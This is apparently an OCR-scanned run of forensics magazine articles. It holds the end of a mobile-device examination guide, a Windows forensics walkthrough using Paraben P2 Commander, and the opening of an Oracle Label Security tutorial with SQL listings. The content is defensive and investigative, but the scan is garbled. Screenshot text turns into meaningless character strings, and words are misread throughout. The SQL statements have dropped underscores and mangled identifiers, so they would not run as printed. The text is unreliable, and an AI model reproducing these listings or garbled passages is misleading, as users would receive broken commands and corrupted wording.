restart as soon as the battery has enough charge. If it is not in a faraday container it may connect to the
network. Not a good thing today when most internet capable devices have the ability to remotely wipe
the device.
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Decide which forensic software program(s) you will use to examine the device. | always examine the SD
card separate from the device. Removing the SD card and using a more powerful forensic tool such as
Encase or FTK will allow you to retrieve deleted data and do a more thorough examination.

DATA PROTECTION

Faraday the device in a container that will allow you to manipulate the device into Airplane Mode. If you
are not familiar with the device it's a good idea to look up the device on phonescoop.com or a similar
site and download the manual to familiarize yourself where Airplane Mode is on that phone. On all of the
phones that | have examined, the wireless access is also disabled when you place it into Airplane Mode
but always check anyway. If your office, or the location of the examination is next to a Starbucks or an-
other hotspot where that device may automatically connect, it could go into the dreaded auto-wipe mode.

CONCLUSION
Once those steps are completed you can begin your forensic examination of the device and complete
your reports.

If you have examined phones in the past you already know that not all phones are 100% supported and
100% of all phones are not supported.

If your phone is not supported or, the section of the phone you need isn’t supported, then it may be
time to break out the video camera or take still photographs and examine the phone the old school way.

This step-by-step example is not meant to be a thorough exemplar, but rather an idea of what steps and
equipment might be needed if you become a civilian examiner that may have to examine criminal cases.

ABOUT THE AUTHOR
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INTRODUCTIONTO
WINDOWS FORENSICS
USING PARABEN P2
COMMANDER

by Dauda Sule, CISA

Microsoft Windows is the most widely used operating system
both for business and personal use. Such popularity has made
it one of the most targeted operating systems by malicious
attackers. As a result, it is often used as a platform to access
personal and work place data, or even to commit policy breaches
assisting in the commission of criminal acts. Investigations that
are based on electronic evidence stand a very high chance of
being carried out on a system with one or the other version

of Windows operating system. It is therefore one of the most
important operating systems anyone going into the field of
cyber forensics will need to know how to investigate.

What you will learn:

« Basic introduction to Windows op-
erating system

* Use of Paraben P2 Commander
disk analysis

* Use of Paraben P2 Commander
for image analysis

What you should know:

» Basic operation of computer sys-
tems and programs

» Basic understanding of digital fo-
rensics

« Basic understanding of Windows
operating system

ccording to Casey (2004), “understanding file systems helps appreci-
Aate how information is arranged, giving insight into where it can be hid-

den on a Windows system and how it can be recovered and analyzed.”
There are different versions of Windows operating systems in use ranging
from the earlier versions like XP to the current Windows 8. To acquire data or
analyze a system, the way and manner the specific operating system version
on it operates needs to be known as each version has its peculiarities, how-
ever, this article gives a generic overview and does not go into the variances
of the specific operating systems. We present an example using Windows 7.

It used to be advisable to pull out the plug on a running system that needed
to be forensically analyzed — rather than shut down — so as to avoid tainting
or losing; any evidence available therein, especially data in memory which
is highly volatile, making it forensically unsound; but with advancements in
memory forensics, there is beginning to be a paradigm shift. Memory dumps
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can be taken by first responders without significantly damaging the evidence using memory forensic
tools (like Mandiant Memoryze, Belkasoft Live RAM Capturer and Volatility). Such memory forensic tools
are also quite good for detecting malware.

Windows systems computers mainly use one of two file systems: FAT and NTFS. The FAT (File Alloca-
tion Table) file system is the simplest of the two. Data are stored in FAT file systems are stored in sec-
tors that are 512 bytes in size and a combination of sectors form a cluster. A cluster is the minimum unit
of disk space that can be used to store a file; the smallest cluster comprises one sector. More than one
file cannot be allocated to a cluster, but a file may not use up all the sectors in a cluster, there may be
some space left. For example, a file of 1000 bytes will be store across two sectors (1024 bytes), leaving
free 24 bytes. These 24 bytes are known as the slack space, which is more or less wasted. When a file
is deleted on a system and the recycle bin is emptied, the file is not really lost, rather the system records
that the cluster, which had been previously allocated for file storage, is now free (unallocated) for stor-
age of a new file. This makes it possible to recover such a file completely if a new file is not saved to the
cluster. In the event a new file is saved on the system, it will overwrite the deleted file. If it is of a larger
size or equal to the previous space it will completely overwrite the previous one, making recovery more
complicated if not impossible. However, if the new file is smaller than the former, there is a chance for
partial recovery. For example, if a file of 1000 bytes was deleted, and a file of 700 bytes overwrote it, 300
bytes of the former will be easily recoverable using forensic tools. This partial recovery might be very
significant for investigators, such those investigating child pornography who can be able to get a partial
view of illegitimate photos that can serve as evidence to indict a suspect. FAT file system can show the
last date and time of modification, and the last accessed data and its creation date and time, but does
not show last accessed time, only the last accessed date is displayed (Casey, 2004). The NTFS (New
Technology File System) supports larger disks than the FAT system and has less slack space by using
compression. Information is stored in Master File Table (MFT) where every file in a directory has at least
an entry (Oppenheimer, n.d.). NTFS as time stamps that can be used to track creation, modification and
access of afile. In addition, NTFS has a change journal, which records objects added, modified and de-
leted, in streams, one for each volume on the system (Microsoft, 2003).

System logs are also valuable sources of information for an investigator. They can be used to deter-
mine when an act was committed and possibly by who (based on details like login information or IP ad-
dress). It can also be possible to determine if someone else used another’s system to commit the act; for
example, different credentials were used to logon to the system to commit the act, or corroboration with
CCTV footage shows the system owner was away at the time the act was committed, implying his cre-
dentials may have be compromised. A case illustrated by Casey (2004) refers to a disgruntled employee
who configured his IP address to that of the CEO and then sent offensive messages, giving the impres-
sion that it was the CEO who sent that. Upon examining network data, it was discovered that the CEQO’s
IP address was briefly set to a different MAC address, which happened to be that of the disgruntled staff.
Internet activity is another area that leaves digital footprints. The Internet Explorer’s or other browsers’
history, cache and cookies are very good sources of information pertaining to Internet activity, addition-
ally Internet Explorer maintains a rich database of Internet activity in the index.dat file. In the event In-
ternet history, temporary files, cache and cookies are deleted or the browser was used in anonymous
mode, there are tools that can recover such from the system (such Magnet Forensics’ Internet Evidence
Finder). There is also some information that can be retrieved in terms of pictures from the thumbnails
view; this can be used to establish evidence against a suspect in a child pornography case.

INVESTIGATING A SYSTEM USING PARABEN P2COMMANDER DEMO

ABOUT PARABEN P2 COMMANDER

P2 Commander is a forensic tool from Paraben Corporation that is built to process large volumes of data
in a fast and efficient manner (Paraben Corporation, 2013). It is a commercially available tool, however, a
demo version can be downloaded free for thirty days from the company’s website. According to the web-
site the tool can be used for a wide range of forensics analysis of systems like disk, chat, email, registry,
Internet files and pornographic detection. The tool is quite robust and can be used for a wide range of in-
vestigations and analysis as stated, but its browser capability is restricted to Microsoft Internet Explorer,
Google Chrome and Mozilla Firefox, other browsers like Opera and Safari for Windows are not included.
The illustrations that follow are based on Paraben P2 Commander Version 3 on a Windows 7 system.
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CREATING A CASE

After installing the Paraben P2 Commander software run it, the GUI as displayed in Figure 1 comes up.
Click on Create new case in the welcome tab to the top left of the tab, which brings up the new case wiz-
ard (Figure 2).

Click next to enter case properties — that is the name of the case and description, stated as “lllustra-
tion” and “Example for illustrative purposes” in our example. The next stage involves entering additional
information (Figure 4) where details like name of investigator, agency/company, phone and fax numbers,
address email and comments. In the example, the name of investigator is entered as “Dauda Sule”; com-
pany, “Audit Associates”; comments, “Example for eForensics Magazine”; other entries are left blank.
Click finish, this brings up a prompt as to where to save the case; it is saved in a directory called Paraben
in this example as shown in Figure 5 (by default it saves to the Paraben directory in the Program files
folder where the program was installed. Once saved, the program prompts for the category of evidence
to be selected (Figure 7): logical drive, physical drive, image file, e-mail database, chat database, regis-
try, Internet Browser data or other.

For this example, we select logical drive, and then drive H under source type; once okay is clicked, the
program prompts to enter new evidence name (Figure 8), the default name (H: in the example) is there,
but may be changed if required; the default name is not changed in this example. After that is entered,
NTFS settings prompt (the system used in the example is a Windows 7 system and runs on NTFS file
system) as shown in Figure 9 comes up giving options of criteria to be used for the evidence (search for
deleted files, add the trash folder to the NTFS root, recover folder structure for bad images, and add the
unallocated space folder to the NTFS root — all criteria are selected in this example).

[# Paraben's P2 Commander Demanstration versian o x|
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Properies

T

O 5 F ™ [0 lede €6 @ NEess

Figure 1. P2 Commander welcome interface
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Figure 9. Settings for the evidence

EXAMINING A DRIVE
Having selected the drive to be examined, the investigation can now begin. First notice the content of

the selected drive. Figure 10 shows the contents of the drive H: a word document, document.doc, and
an image, IMAG0912.jpg.
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Figure 10. Contents of drive H

We can now examine what the drive contains using P2 Commander. We expand the case (/llustration)
located in the top left corner of the interface; we expand the NTFS directory and click on the Root directory.
Among the contents of the Root directory are the contents of drive H, but to our amazement document.doc
is seen to be a JPEG image data just like IMAG0192.jpg, and the thumbnails at the bottom of the interface
further buttress that fact (Figure 11). Criminals often times try to hide their tracks by camouflaging docu-
ments to avoid detection. This could be done using different techniques from the simplest (like labeling an
incriminating document or file with an innocent sounding name) to advanced techniques like steganography.
What happened in this example is that the file extension for an image was changed from _jpg to .doc to avoid
detection of the image by an investigator. In cases like child pornography, a suspect may try to hide incrimi-
nating pictures using such a technique in the hope of warding off investigators. Once there is an attempt by
anyone who is not aware of what was done to open such document, the document would probably give an
error message or open in codes that would be considered unintelligible by most people giving the impression
that it must have become corrupted. However, with forensic tools like P2 Commander, an investigator can
easily see through such a camouflage in a single glance as we have seen in the example.
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Figure 11. Viewing contents of Root directory in drive H

www.eForensicsMag.com € »



)
0 eforensics

The times and dates of creation, last access, last modification and last change of document can also
be viewed in the P2 Commander tab for selected directory, such time stamps can be used as proof for
or against a suspect. For instance, if there is a child pornography image found on an endpoint that is
shared by employees on shift basis, the time stamps could be used to determine on whose shift such
an image was stored and accessed. Reviewing sign-in logs and registers along with CCTV footage can
further corroborate this.

The trash directory can also be analyzed (note, the recycle bin was emptied before this analysis). Click-
ing on the trash directory shows contents emptied from the recycle bin. Despite the recycle bin having
been emptied, we can see the contents that were deleted from the recycle bin that have not been over-
written. In Figure 12, we can see the deleted items with their file extensions and document types as well
as the date and time of the deletion. As had been seen previously, the deleted item also has a .doc file
extension, but the document type JPEG image data. Also, at the bottom left corner of the interface, we
have the file properties which shows that the document was deleted (stated that Deleted is True) and the
path was recycle bin.
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Figure 12. Contents of trash directory

Expanding the Unallocated Space directory shows the Deleted Items directory, which can be further
expanded to reveal the unallocated clusters. In the unallocated clusters directory, we can see there is a
JPEG image data document as shown in Figure 13.

The contents of the unallocated clusters are reviewable and recoverable documents, partially or fully,
those were deleted from the recycle bin, but have not been fully overwritten. Such data might be very
useful in a case. Casey (2004) gives an example of a blackmail case where the suspect claimed the
blackmail letter document was a letter he originally wrote, but someone else modified and sent it it while
he was away on vacation. Various fragments of deleted material were recovered from his computer, one
of the fragments in the slack space of another file (the owning file), which was created a couple of days
before the suspect’s vacation. Technically, this showed that the slack space had existed before the own-
ing file, which helped to question the suspect’s alibi.
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CREATING A FORENSIC CONTAINER

The created case can be saved in a forensic container. Paraben has forensic containers that are en-
crypted and write protected such that the digital evidence can be stored securely and makes it easier for
third parties to review the evidence. This helps to ensure a proper chain of custody and to show that the
evidence was not tampered with or contaminated during storage.

A forensic container is from Tools in the menu bar and Create New Forensic Container selected, as
shown in Figure 14. Once clicked, the pop up shown in Figure 15 comes up which requires a file path
to be chosen for saving the container. By default the containers are saved to the Paraben Corporation
directory located program files directory, and saved to a folder called containers there in a folder called
new_container (the previous directory used for saving the case is used in the example). There is also the
need to select a password for the container, and the password confirmed. One that is done, the forensic
container is stored in the selected directory and can be analyzed and reviewed when and as necessary.
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Figure 15. File path selection and password creation for forensic container

Figure 16 shows the directory containing the forensic container. The directory contains two files: the main
file and the data file; the main file contains the file hierarchy, which is named after the forensic container name
with file extension .p2d, while the data file contains the acquired data evidence (Paraben Corporation, 2013).
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Figure 16. Forensic container directory containing case

To view the forensic container, click on Add Evidence bring up add evidence pop up, select other under
category where Forensic container file is visible as show in Figure 18, click on Forensic container file and
okay. Once okay is clicked, the program browses to the directory containing the case. There the new_con-
tainer folder is opened and the NEW_CONTAINER.P2D file selected (the only thing visible in the container
in this example, .p2d files are types to be selected). This brings up a pop up to enter new evidence name as
shown in Figure 18, the default name NEW_CONTAINER is left in the example. Then the program prompts
to enter the forensic container password (Figure 19). That done, the new container directory becomes vis-
ible in the case explorer pane (Figure 20). The container can be expanded to view captured evidence (re-
ports are not available in the demo version, but are in the full version) and audit logs.
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Figure 20. New container directory in the case explorer pane

SEARCHING FOR SUSPICIOUS IMAGE FILES

P2 Commander can be used to search for suspicious images like pornography. This can be very useful
where investigating employee misconduct in terms of endpoint usage, sexual harassment or child por-
nography. A directory can be analyzed for such suspicious images selecting the directory and using the
Sorting option under Tools from the menu bar. In Figure 21, the H directory is selected for sorting, that
will search drive H and all the subdirectories in it for suspicious material.



[#] Paraben’s P2 Commander Demenstration version - lustration plc 3 | D
Fla  View Hash | Took | Help
JNew [Fopen 2 % Serch.. Gk lefresh ¥ Refresh Al Empt Ll Case History Ootions
€l Search | ¥ Sort Boakmarks » pents 7 add Bookrrark | Hex | Tieat
Caze Explorer Qi Cass Wstory piccme | NTFS | Forensic Container Audit Log -
eyt —— I Sedting... e/ ThusTaton e WTRS - & s
TR (B Sorted Fies Search... e -
T _‘Hm «DiR»
Start Counting Folder Cantents Wl Troeh i
{ Create New Forensic Container | ki
Options.
=1} Foresae Comconer Roan Lo
£ Case Explo... [ Sortea Files || Hashes W Bockmarks | Frished  Totak 3

Preperties.
General

Misc
Diytes poar chuter
Dyies e sector
Dk navme

D mzer
Seclon rumber

1 x
L T L
R e
zad.

..

At A T L

B T T T L o B L Lt L L T

o
Total chasiers ruber 50543 bl ] Tet View

2 & \m
@3- uElzlaasEelole € €l@ @ 2 helraas

Figure 21. Sorting option under Tools

Once Sorting is clicked, the P2 Commander Sorting Engine pops up starting with general options for
the sorting, files with undetected format and deleted data are added to the sort options in our example
as shown in Figure 22. The next step is the Image Analyzer Options, which is selected specifically for
detection of potentially pornographic material. The sensitivity of the image analyzer engine can be in-
creased or decreased; increasing it makes it increase the number of files that will be labeled suspect,
while decreasing reduces such. The default sensitivity level is 75 as used in our example (Figure 23).
The file filter is used to restrict the files to be search by the image analyzer to a particular size, and the
resolution filter restricts the search to resolution size. Both file filter and resolution filter are not used in
the example. The final step is the Advanced Options, which offers additional search criteria like email at-
tachment storage searches and some criteria that can be skipped (Figure 24), but nothing is selected in
the advanced options in our example. Then finish is clicked to start the sorting. The process is shown in
the Task pane at the bottom of the interface where the status can be seen to be running while the sort-
ing is taking place. Once completed, the status can be seen as completed under the Completed tab in
the Task pane (Figure 25).
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Figure 25. Completed tasks in the Completed tab of the sorting engine

The Sorted Files tab located under the Case Explorer view just to the right of the Case Explorer tab is
clicked to view sorted files. The image analyzer results can then be expanded to see if there are any suspect
files in the drive (Figure 26). It can be seen in the example that there are three items in the image analyzer
results; two are low suspect and one highly suspect. Clicking on the low suspect directory reveals the two
documents that we had previously seen on the drive: the image file and the apparent document file. Notice
as before, the image analyzer is also not deceived by the change in file extension of the image named docu-
ment.doc and reveals its actual file type and content (Figure 27); so a criminal trying to hide an inappropriate
picture by changing the file extension would not be able to hide from the forensic investigator using a tool like
Paraben’s P2 Commander. A review of the highly suspect result shows an image of a nude hand — which was
added to the drive (Figure 28). The image analyzer recognizes skin tones and shapes which are like sensi-
tive human body parts, and hence flags any image that may look so, in our example the hand has a consis-
tent tone that reflects uncovered skin and the shape also looks like other parts of the human anatomy. Porn
detection software usually use criteria as skin colour, shape, consistent tone and colour spread over a space,
and in the case of videos movement may be an added criterion to determine which files to flag as suspect.
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Figure 27. Review of low suspect images
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Figure 28. Review of highly suspect image file

An investigation may be carried out with the primary aim of detecting suspicious pornographic files
and images which may be relevant to cases such as sexual harassment, employee misconduct or child
pornography, which implies that, in the case of a criminal investigation, a warrant was obtained and au-
thorization was given to search for such material. However, such files may be uncovered in the course
of an investigation that was not primarily nor directly linked to the images. In such a situation, the inves-
tigator should best not pursue such files until he has stated that such data are available to the appropri-
ate authorities and is granted authority to continue searching for and collecting such data as evidence.
Going ahead to investigate and review such pornographic data without due authorization in an investi-
gation that is not related might result in sanctions against the investigator, and presenting such data as
evidence would most likely be thrown out.

CONCLUSION

Every operating system has its unique peculiarities in terms of operations, which can determine how to
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go about investigating it successfully. An investigator needs to be familiar with the operating system(s) on
suspect machines that need to be investigated for evidence in any case to ensure evidence is properly
and reasonably collected in a forensically sound manner. Windows is a very commonly used operating
system, and therefore digital forensics investigators need to be familiar with the operating system and
tools for investigating and analyzing it. There are many digital forensic investigation tools available, ma-
ny of them can be used across multiple platform and operating systems, especially Microsoft Windows.
Paraben’s P2 Commander is quite robust and is very effective for many investigations that will need to
be carried out on Windows systems.

Digital forensic tools continue to evolve as technology and the bad guys evolve in a bid to tackle digital
crimes and offenses. Techniques used by offenders to mask their wicked activities can be unmasked with
digital forensic tools (like trying to hide files by changing file extension). However, the tools might tend to
be developed after-the-fact as the bad guys usually tend to be a couple of steps ahead in terms of tech-
nology, they are always constantly working to beat any development that has been made to track and
apprehend them. That notwithstanding, digital forensic tools are still equal to the task of catching most
offenders, and as stated continue to evolve to meet up with new challenges.
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ORACLE LABEL
SECURITY A MULTI-

USER,

GRANULAR

APPROACH

by Robert Vanaman, M.S.

In the 21st century, we have witnessed a tectonic shift in how
personal privacy, wealth, and trust are violated. Cyber criminals
have infiltrated all aspects of society’s newest infrastructure:
the information technology grid. This paradigm of cybernetic
treachery has ceased to be relegated to a mere future concern.
Combating this threat is Oracle’s Label Security (OLS); it reigns
as the gold standard for database security within an Oracle
database environment,

What you will learn:

« Historical iterations of OLS

* Overview of OLS

* OLS'’s Confidentiality Controls

* OLS’s Data Compartmentalization

* How to Implement OLS from the
command line

* How to create OLS Levels

* How to create OLS Labels

What you should know:

« Basic understanding of database
tables

 Basic understanding of data secu-
rity

» Optional: Basic Oracle SQL

11g Administration, the world of the Database Administrator (DBA) is

divided between providing database security, backup protection, opti-
mizing performance, contributing to database designs, and proper database
implementation. Alapati further states that these duties can be compartmen-
talized into three categories: security, systems management, and database
design (Alapati, 2009, pp. 3-4). It is providing for security of an Oracle data-
base that is this article’s concern. Although database security involves both
the protection of the database from unauthorized users — this includes both
external and internal threats — in conjunction with creating and managing us-
ers, the focus of this paper will be concentrated on the former concerns.

Q ccording to Sam Alapati, in his superb book Expert Oracle Database

The gold standard for database security within an Oracle environment is
Oracle Label Security (OLS). OLS ensures robust access controls on sen-
sitive data. These controls allow sensitive data to reside in the same table
as less sensitive data. This is enforced through the use of a security attri-
bute for each tuple, a hierarchical level of access column. For enhanced ef-
fectiveness, this attribute can be hidden from the users, thereby providing a
transparency of security. The label must contain a hierarchical level; compart-
ments and groups are optional (Oracle Data Sheet, 2009). When levels are
augmented with compartments and groups, a fine granularity of security ac-
cess can be established. In this case, the user must not only have the appro-
priate row level security, but have privileges for the compartment, and belong
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to all of the groups (Czuprynski, 2003). Therefore, utilizing OLS, DBA are provided with an effective, ef-
ficient, and simplistic way of implementing database security in Oracle, at various levels of granularity,
among various tiers of users.

AN EVOLUTIONARY HISTORY
BELL-LAPADULE MODEL

As with all advancements in the endeavors of science, implementing security in databases has been
a journey of iterations. It is in the history of these iterations that Bell-LaPadule (BLP), Oracle’s Virtual
Private Database (VPD), and OLS models need to be examined. The BLP model, invented in 1973, is
configured around the classic governmental multilayer security protocols for restricting access to paper
documents and establishing personal security clearances. Within the confines of a secure database
management system (DBMS), objects — of varying degrees of granularity — are assigned specific levels
of security, while individuals who have the necessity to access these objects, are assigned equivalent
levels of security clearances (Goodrich, & Tamassia, 2011, p. 450). Essentially, it is a formal paradigm of
allowable paths of information flow in a secure system. Its goal is to identify allowable communication,
when maintaining secure channels of information exchange is of paramount importance. Additionally,
the BLP model is extremely conservative in its methodology. It may, to some degree, sacrifice security
considerations for user-friendliness and other desirable DBMS properties (Pfleeger, & Pfleeger, 2007,
pp. 254-256).

The BLP model was designed to handle information which exists at multiple levels of sensitivity. It per-
forms this function through the use of two properties: the Simple Security Property and the *-Property,
referred to as the star property (Pfleeger, & Pfleeger, 2007, pp. 255). These two properties enforce the
“no read up” and “no write down” rules (Goodrich, & Tamassia, 2011, p. 452). In essence, the no read
up rule enforces the premise that the security clearance of an individual must be at least as high as the
classification of the information that they receive. The no write down directive imposes a restriction on
sensitive objects in so much as they can only be written to a classification at least as high. This corol-
lary contributes to the lack of usability within some implementations of BLP within a DBMS (Pfleeger, &
Pfleeger, 2007, p. 255).

TRUSTED ORACLE?

Security features utilizing data compartmentalization, first appeared in an Oracle product called Trusted
Oracle7. This iteration of security features was essentially driven by Oracle’s United States military clien-
tele. The three security levels that the system came configured with: confidential, secret, and top secret,
juxtaposed nicely with the BLP model. This methodology, combining security levels with compartments
(projects), created a hierarchical set of security protocols that limited users to viewing data within their
projects, and at their security level or below; a nearly precise digital representation of the BLP model.
However, this system (especially in large databases) was deemed too complex to configure and imple-
ment to be considered practical for most security concerns. Nevertheless, Trusted Oracle7 provided se-
curity protections that the market, both military and commercial, strongly desired. This was a means for
multiple users within the same database environment to view data that was applicable to them.

ORACLE’S VIRTUAL PRIVATE DATABASE

Enter VPD. With a simple control mechanism VPD, appended a where clause to the end of queries to
limit data access to the intended (authorized) user. Essentially, “users are granted access to data with
specific labels, the VPD is configured and then Oracle does the rest” (Ingram, & Shaul, 2007). The VPD
feature is used to enforce row level security upon tables. VPD is a component of Oracle’s Enterprise Edi-
tion which is specifically designed to implement security at the row level of a table or view. Once the se-
curity rules are in place by way of OLS, VPD automatically inserts the necessary selection criteria to any
SQL statement restricting a user’s access to the appropriate information based on their security level.
The elegance of this methodology lies in its transparency to the user. By altering a table in need of row
level security with a label column, “a process called access mediation during data access determines
which permissions are required to access the row, and what actions can be performed on the row once
it has been accessed” (Czuprynski, 2003).
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ORACLE LABEL SECURITY

OVERVIEW

To address the shortcomings found in Trusted Oracle7, Oracle8i came equipped with a new security pro-
tocol called Oracle Label Security. OLS, formerly known as Trusted Oracle MLS RDBMS, arguably can
be considered the latest iteration in a long line of security features that was implemented by the Cen-
tral Intelligence Agency in an endeavor called Project Oracle in 1979. From privileged access controls,
through networking security, auditing and fine-grained auditing, and password and profile management,
up to and including data compartmentalization, database security evolved, and is evolving. OLS encom-
passed all of the Trusted Oracle7 security features (based on the BLP model), while providing enhance-
ments and security features not found in the BLP model. First, OLS came preconfigured with VPD for mil-
itary, and military- like security commitments. Second, OLS allows for user defined levels, compartments,
and groups which provided multilevel, along with multi-granular, security control (Czuprynski, J. (2003).
Third, OLS was equipped with a graphical user interface (GUI) for security configuration called Oracle
Policy Manager (OPM). OLS can be implemented, controlled, and managed through command line
statements; however, utilizing OPM — which is an Oracle Enterprise Manager (OEM) based GUI utility —
facilitates the DBA in configuring policies, classifying labels and their functions, and provided strong user
controls for data authorization. (Racle Faq’s, 2012). Fourth, OLS is capable of enforcing security policies
over schemas, tables, and tuples: thus allowing for as much, or as little, security control as is necessary.
Finally, OLS as did BLP, provided for confidentiality control disclosure of information; however, addition-
ally OLS provided for the integrity control for the modification of information (Crues-Ausanks, 2006).

CONFIDENTIALITY CONTROL

Confidentiality control, as expressed by both OLS and BLP security protocols, restrict the viewing (se-
lection) of tuples within a database’s tables or views. Restricting the selection of specific records within
a table maintains a security hierarchy based on the level of clearances for that particular user. When
confidentiality controls are expressed over views, not only are individual records protected, but individual
attributes (data fields) are also restricted from unauthorized access. However, securing the modification
to data, known as integrity control, is not addressed by the BLP model. This is a weakness of the BLP
model that has been addressed in other models (the Biba Integrity Model, for example) and is wholly
embraced by OLS.

DATA MODIFICATION

While restricting the selection of certain records within tables and views is of paramount importance in
database security policies, of equal importance is the restriction on the modification of data in order to
maintain data integrity. Fundamentally, maintaining data integrity consists of assuring the database’s in-
formation is credible and reliable throughout its existence. Maintaining the integrity control for the modi-
fication of information consists of enforcing three principles. First, preventing data from being modified
by unauthorized users is an obvious necessity. However, preventing unauthorized data modification by
users who are authorized is essential as well. Finally, the data should always reflect the real-world sce-
nario, thereby maintaining internal and external consistency (Balon, & Thabet, 2004).

LS abides by and conforms to these principles and goals through the use of its default policy options.
These include INSERT_CONTROL, UPDATE_CONTROL, and DELETE_CONTROL among others (Or-
acle® Label Security Administrator’s Guide 11g Release 1 (11.1), 2007). When combined with OLSs la-
bels, security levels, compartments, and groups, they provide an outstanding mechanism for controlling
security policy implemented at the row level across database schemas, tables and views. Furthermore,
with a full selection of ALTER commands, which allow modifications to labels, levels, compartments, and
groups, OLS security controls becomes a dynamic security instrument. This dynamic system allows a
security policy to conform to changing threats that exist within its environment of operation; thus enabling
it to meet today’s security challenges, as well as the ability to adapt to future potential security breaches.

DATA COMPARTMENTALIZATION

It is within the realm of data compartmentalization’s security implementations that OLS provides its
functionality. Data compartmentalization is a concept and security principal uniquely provided by Ora-
cle. The granularity of data access is confined to the tuple (row) level. Regardless of whether specific
rights have been granted to specific users on the object level (tables and views), data access will be
confined to the individual records that the user has the appropriate classification (security level) to ac-
cess. Upon the execution of a query, the object rows classification is compared with the user security
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level and only information at the user security level, or below, is retrieved; thus enforcing mandatory
access control (MAC) (Ingram, & Shaul, 2007). When employing MAC, security privileges are not at
the discretion of the owner of the object. Rather, rights to objects and elements of those objects are
handed down from a database administrator, a “centralized policy administrator’ (Goodrich, & Tamas-
sia, 2011, p. 447) or the organization’s security czar. This form of access control is considered much
more restrictive; thus, much less susceptible to security breaches.

Utilizing security levels in OLS is the least granular of access control. Here, the user’s security level is
compared to the security level of the various tuples (row level security) in the table, and appropriate ac-
cess granted or denied. Additionally, the obligatory read, read/write, and alter privileges can be applied
or denied. When compartments are added to the equation, a finer granularity is achieved. Now, the user
must not only have the appropriate security level to gain access, but they must belong to that particular
compartment or compartments. To restrict access to data to a further degree, a group or groups may be
added to the policy as well. If groups are introduced, the user must not only have the appropriate row
level security, but have privileges for compartment, and belong to one of the groups (Czuprynski, 2003).

When to apply levels, compartments, and groups is very much dictated by the granularity level of secu-
rity that needs to be enforced. A secondary consideration that could very well enter into the design is the
degree of distribution of the data (Haug, & Rahimi, 2010). With tightly controlled access, and limited us-
ers, quite possibly levels alone would be sufficient. In contrast, in far-flung distributed database manage-
ment systems, to achieve proper security, compartments and groups may very well need to be assigned.

OLS SECURITY IMPLEMENTATION

In this SQL illustration, a step-by-step OLS practical implementation will be demonstrated. This instance
will be executed through command line statements; rather than utilizing OPM. This scenario involves
employees at a flight school; their corresponding employee table will serve as our model. The chief pilot
(Don) will have full select access to every record in the Employee_OLS table. The assistant chief pilot
(Chris) will have select access to all records except the chief pilot’s in the table. The dispatcher (Ben) will
have select access to his record, and all instructor pilots and the line boy’s record. The instructor pilots
(Dan, Tom, and Jennifer) will have select access to their records and the line boy’s record. The line boy
(Rome) can only select his record.

Listing 1. CREATE Employee_OLS TABLE

CREATE TABLE EMPLOYEE OLS
(

EMP_ID VARCHAR2 (5) NOT NULL ,
EMP_FIRST NAME VARCHAR2 (10) NULL ,
EMP LAST NAME VARCHAR2 (12) NULL ,
EMP_STREET CHAR (28) NULL ,
EMP_CITY VARCHAR2 (15) NULL ,
EMP_STATE CHAR (2) NULL ,
EMP Z7TP CHAR (10) NULL ,
EMP_CERT NO VARCHAR2 (15) NULL ,
EMP_MED CERT VARCHAR2 (10) NULL ,
EMP_PHONE VARCHAR2 (15) NULL ,
EMP_CELL VARCHAR2 (15) NULL ,
EMP_EMATL VARCHAR2 (30) NULL ,
EMP_SSN VARCHAR2 (11) NULL ,
EMP_DOB DATE NULL ,
EMP_RATING VARCHAR2 (10) NULL ,
ROLE_ID CHAR (4) NULL

)i
table EMPLOYEE OLS created.
CREATE OLS POLICY OLS_EMP_POLICY

The first step in implementing OLS is to create and name a label policy. There can be multiple label poli-
cies within a database. You must have the CREATE_ POLICY privilege to execute this command.
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EXECUTE SA SYSDBA.CREATE POLICY (‘OLS EMP POLICY’, ‘OLS SEC’, ‘READ CONTROL’);

The first parameter “OLS_EMP_POLICY” is the policy name. The second parameter “OLS_SEC” repre-
sents the name of the security column which will be added to our Employee_OLS table. For our purposes,
the last parameter “READ_CONTROL” allows for the execution of select statements (Oracle Label Secu-
rity Administrator’s Guide Release 2 (9.2), 2002). Read_Control is one of Oracle’s Access Control Enforce-
ment Options. Other enforcement options include Write_Control, Insert_Control, and Delete_Control, and
Update_Control (Oracle® Label Security Administrator’s Guide 10g Release 1 (10.1), 2003).

CREATE SECURITY LEVELS

Now that the security policy has been created, the next step in the creation of the necessary components
is to create the security levels. Security levels specify the sensitivity of the data being safeguarded. Here,
three column values are specified: the level number, which is a numeric value used to uniquely identify
each security level, a short name, which is used when creating data and user labels, and lastly, a long
name which will provide a more detailed description of the security level (Database Journal, 2012). Five
security levels will be created: one for the chief pilot, assistant chief pilot, dispatcher, instructor pilots,
and the line boy.

EXECUTE SA COMPONENTS.CREATE LEVEL(‘OLS EMP POLICY’, 500, ‘CP’, ‘Chief Pilot’);
EXECUTE SA COMPONENTS.CREATE LEVEL (‘OLS EMP POLICY’, 400, ‘ACP’, ‘Astn Chief Pilot’);
EXECUTE SA COMPONENTS.CREATE LEVEL(‘OLS EMP POLICY’, 300, ‘Disp’, ‘Dispatcher’);
EXECUTE SA COMPONENTS.CREATE LEVEL(‘OLS EMP POLICY’, 200, ‘Inst’, ‘Instructor’);
EXECUTE SA COMPONENTS.CREATE LEVEL (‘OLS EMP POLICY’, 100, ‘LB’, ‘Line Boy’);

CREATE SECURITY LABELS

Of primary importance when planning an OLS deployment, is ascertaining your organizations data label
requirements. What this entails, is determining your organizations data labels or the sensitivity that is
required to protect your information. This summary requires not only the determination of which tables
need protecting, but within each table, which records require what sensitivity level of protection (Oracle,
2008). For every row in a table that is protected through OLS, there will be the normal table data, and
then a second area called the label. The label has three parts: a hierarchical level, which is the only one
implemented in this example. One or more compartments exist, and one or more groups. Here, the pol-
icy name is OLS_EMP_POLICY, the level numbers are 510, 410, 310, 210, and 110 and once again we
utilize the short names to identify the labels.

EXECUTE SA LABEL ADMIN.CREATE LABEL(‘OLS EMP POLICY’, 510, ‘CP’);
EXECUTE SA LABEL ADMIN.CREATE LABEL(‘OLS EMP POLICY’, 410, ‘ACP’);
EXECUTE SA LABEL ADMIN.CREATE LABEL(‘OLS EMP POLICY’, 310, ‘Disp’);
EXECUTE SA LABEL ADMIN.CREATE LABEL(‘OLS EMP POLICY’, 210, ‘Inst’);
EXECUTE SA LABEL ADMIN.CREATE LABEL(‘OLS EMP POLICY’, 110, ‘LB’);

CREATE USERS, SESSION, AND GRANTS FOR EMPLOYEE_OLS TABLE

Since the very premise of OLS is that users possessing various security clearances are interacting with
data which is classified at various levels of sensitivity, therefore, it is obligatory that users are created,
